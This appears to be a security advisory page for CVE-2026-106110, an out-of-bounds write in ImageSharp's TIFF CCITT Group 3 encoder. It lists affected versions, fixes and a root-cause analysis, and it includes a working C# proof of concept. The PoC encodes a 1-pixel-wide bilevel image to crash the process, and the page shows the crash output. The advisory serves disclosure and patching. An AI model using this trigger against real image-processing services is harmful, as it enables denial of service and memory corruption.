Live › vulnerability › CVE-2026-106110
Go to dashboardThe TIFF CCITT Group 3 (T4) encoder in SixLabors.ImageSharp allocates too small an output buffer for narrow 1-bit images, so unchecked bit writes go past its end. An attacker who controls the image being encoded can corrupt process memory and crash the process.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-26 14:26 UTC, 0h before NVD. All times on this page are UTC.
Applications that encode 1-bit TIFF images with CCITT Group 3 (T4) compression, either by setting it explicitly on TiffEncoder or by re-encoding a decoded TIFF whose metadata retains that compression. Exposure depends on whether untrusted image input can reach that encoding path. Services that never write CCITT Group 3 TIFFs can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| SixLabors.ImageSharp | nuget | >= 2.0.0, < 3.2.0 | 3.2.0 |
| SixLabors.ImageSharp | nuget | >= 4.0.0, < 4.1.2 | 4.1.2 |
| sixlabors imagesharp | vendor | >= 2.0.0, < 3.2.0 | 3.2.0 |
| sixlabors imagesharp | vendor | >= 4.0.0, < 4.1.2 | 4.1.2 |
dotnet list package in the project and look for SixLabors.ImageSharp below 3.2.0 or in the range 4.0.0 to 4.1.1TiffCompression.CcittGroup3Fax or TiffEncoder usage, including re-encoding of decoded TIFFs with the default TiffEncoderSixLabors.ImageSharp to 3.2.0 on the 3.x lineSixLabors.ImageSharp to 4.1.2 on the 4.x lineTiffCompression.CcittGroup3Fax on attacker-controlled imagesEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.
This report concerns only the T4 CcittGroup3Fax encoder path. It replaces the prior, unrelated ICC content.
SixLabors.ImageSharp (NuGet)>= 2.0.0, <= 4.1.10815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.The T4 encoder and its undersized buffer calculation first shipped in v2.0.0. The narrow-image exploit terminates published v2.0.0 and v4.1.1 while the same-height 64-pixel control succeeds on both. Every release through v4.1.1 retains the vulnerable allocation and unchecked bit-write structure.
The affected path is reached when the application encodes 1-bit image data with TiffCompression.CcittGroup3Fax. This can happen when an application explicitly selects TiffEncoder.BitsPerPixel = Bit1 and TiffEncoder.Compression = CcittGroup3Fax. It can also occur when an application decodes a TIFF and re-encodes it using the default TiffEncoder, because ImageSharp retains TIFF frame metadata including the compression and bit depth.
TiffCompressorFactory creates T4BitCompressor for CcittGroup3Fax. TiffCcittCompressor.Initialize allocates Width * rowsPerStrip bytes, but non-modified T4 writes a 12-bit EOL before row data and an additional 12-bit EOL per row. WriteCode calls BitWriterUtils.WriteBit and WriteZeroBit, both of which use Unsafe.Add without a capacity check. Thus the encoded bit stream can exceed the allocated span.
A 1-pixel-wide, 2000-row alternating bilevel image caused a fatal System.AccessViolationException during T4 compression. This is a memory-corruption and availability issue for applications that expose this encoding flow to attacker-controlled input.
SixLabors.ImageSharp 4.1.1net8.0No active exploitation is known.
In a net8.0 project that references the published SixLabors.ImageSharp 4.1.1 binary, save the following as Program.cs. Run dotnet run -- exploit 2000 for the trigger and dotnet run -- control 2000 for the control.
using System;
using System.IO;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats.Tiff;
using SixLabors.ImageSharp.Formats.Tiff.Constants;
using SixLabors.ImageSharp.PixelFormats;
string mode = args.Length > 0 ? args[0] : "exploit";
int width = mode == "control" ? 64 : 1;
int height = args.Length > 1 ? int.Parse(args[1]) : 2000;
Console.WriteLine($"mode={mode} width={width} height={height}");
using var image = new Image<L8>(width, height);
for (int y = 0; y < image.Height; y++)
for (int x = 0; x < image.Width; x++)
image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));
var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
metadata.BitsPerPixel = TiffBitsPerPixel.Bit1;
metadata.Compression = TiffCompression.CcittGroup3Fax;
using var output = new MemoryStream();
image.Save(output, TiffEncoder());
Console.WriteLine();
Against the published 4.1.1 package, this produced:
mode=exploit width=1 height=2000
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
at ...TiffCcittCompressor.GetWhiteTermCode(...)
at ...T4BitCompressor.CompressStrip(...)
A 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:
mode=control width=64 height=2000
Encoded OK: 76230 bytes
The direct public configuration path also triggers with:
new TiffEncoder
{
BitsPerPixel = TiffBitsPerPixel.Bit1,
Compression = TiffCompression.CcittGroup3Fax
};
This page as .md · .json · in your agent: get_signal("CVE-2026-106110")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.